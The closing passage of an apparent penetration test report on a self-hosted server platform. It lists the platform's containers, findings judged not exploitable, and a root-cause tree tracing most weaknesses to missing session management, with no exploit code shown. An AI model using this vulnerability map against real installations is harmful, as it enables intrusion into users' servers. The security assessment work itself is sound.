bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana, onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint

D. Findings Not Exploitable (excluded from report)

ID Description Reason
AUTH-004 Hardcoded default credentials (password123) User has changed password on production
AUTH-010 Weak initial password policy (8-char minimum) Setup already complete
XSS-002/003 postMessage origin bypass Client-side only; confirmed via source review, not live exploitation
XSS-006 test-aiui.html postMessage Test file, minimal impact
SSRF-003 LND proxy SSRF TLS mismatch blocks data access
SSRF-005 marketplace.get arbitrary URL fetch Dormant code, not compiled into active binary
INJ-003 Arbitrary volume mount via bundled-app-start Requires valid app data; returned "Missing image"
INJ-005 Argument injection via package.stop Ambiguous result; needs further investigation

E. Root Cause Analysis

AUTH-001 (No session management)
  |
  +-- AUTH-002 (All endpoints unauthenticated)
  |     |
  |     +-- AUTH-005 (Frontend-only auth)
  |     +-- AUTH-007 (WebSocket unauthenticated)
  |     +-- AUTH-008 (Message injection)
  |     +-- AUTH-011 (LND proxy unauthenticated)
  |     +-- AUTH-012 (Container logs unauthenticated)
  |     +-- SSRF-001 (Blind SSRF)
  |     +-- SSRF-002 (Outbound SSRF)
  |     +-- SSRF-004 (Arbitrary container pull)
  |     +-- INJ-001 (File oracle)
  |     +-- INJ-002 (Path traversal)
  |     +-- XSS-001 (Stored XSS)
  |     +-- INJ-007 (Log injection)
  |
  +-- AUTH-003 (No brute force protection)
  +-- AUTH-006 (No-op logout)

AUTH-009/XSS-007 (CORS wildcard) — amplifies all above to remote exploitation
XSS-004 (Missing headers) — removes defense-in-depth for client-side attacks

Fixing AUTH-001 addresses the root cause and blocks exploitation of 15 of 21 findings. The remaining 6 (AUTH-003, AUTH-006, AUTH-009, XSS-001, XSS-004, XSS-007) require independent fixes but become significantly less impactful once authentication is in place.


End of Report

Report generated: 2026-03-06 | Assessment period: 2026-03-06 | Classification: CONFIDENTIAL